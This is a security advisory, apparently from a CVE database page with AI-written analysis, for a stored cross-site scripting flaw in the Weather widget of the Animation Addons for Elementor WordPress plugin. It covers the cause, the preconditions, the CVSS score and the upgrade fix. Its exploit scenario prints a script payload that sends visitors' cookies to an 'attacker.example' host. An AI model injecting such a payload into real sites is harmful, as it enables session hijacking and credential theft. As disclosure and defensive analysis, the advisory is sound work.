Stored XSS payload execution requires a victim to visit the page (UI:R); PR:L reflects mandatory Contributor authentication; S:C captures cross-browser scope change.

The Animation Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'weather_style' and 'move_direction' parameters of the Weather widget in all versions up to, and including, 2.6.3. This is due to insufficient output escaping in the Weather widget's render() function at widgets/weather.php:1246, where both settings values are placed into an HTML class attribute without esc_attr(). Elementor does not server-side validate widget SELECT control values against allowed options on save, so an authenticated attacker with Contributor-level access or above can submit a crafted save_builder AJAX request storing arbitrary values in the _elementor_data post meta. The stored payload renders unescaped on every frontend visit to the affected page (the Weather widget requires an OpenWeatherMap API key to reach the vulnerable output, which is the normal operational state for sites using this widget).
AnalysisAI
Stored Cross-Site Scripting in the Animation Addons for Elementor WordPress plugin (all versions through 2.6.3) enables authenticated attackers with Contributor-level access to permanently inject arbitrary JavaScript into pages using the Weather widget. The payload renders unescaped for every subsequent visitor, enabling session hijacking, credential theft, or admin-context privilege escalation without further attacker interaction. …

Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concurrent conditions: (1) an authenticated WordPress account at Contributor level or above, enabling the attacker to submit Elementor save_builder AJAX requests that write to _elementor_data post meta - lower-privileged roles such as Subscriber cannot save builder content; (2) Animation Addons for Elementor version 2.6.3 or earlier must be active on the target site; (3) the Weather widget must be placed on a published page with a valid OpenWeatherMap API key configured in the plugin settings, as this is the operational prerequisite for the widget to reach the vulnerable render() output path where the unescaped class attribute is emitted. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N, score 6.4) reflects a network-exploitable, low-complexity attack requiring only low-privilege authentication, with a scope change affecting victims' browsers. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with a WordPress Contributor account intercepts a legitimate Elementor save_builder AJAX request (e.g., using a browser proxy) and replaces the weather_style parameter value with a crafted string such as foo"><script>fetch('https://attacker.example/c?'+document.cookie)</script>. The WordPress server accepts and stores the value without validation into the page's _elementor_data post meta. … |
| Remediation | Update Animation Addons for Elementor to version 2.6.4 or later, which applies proper output escaping (esc_attr()) to the weather_style and move_direction parameters in the Weather widget's render() function; the exact changeset is available at https://plugins.trac.wordpress.org/changeset?old_path=/animation-addons-for-elementor/tags/2.6.3&new_path=/animation-addons-for-elementor/tags/2.6.4. … Detailed patch versions, workarounds, and compensating controls in full report. |
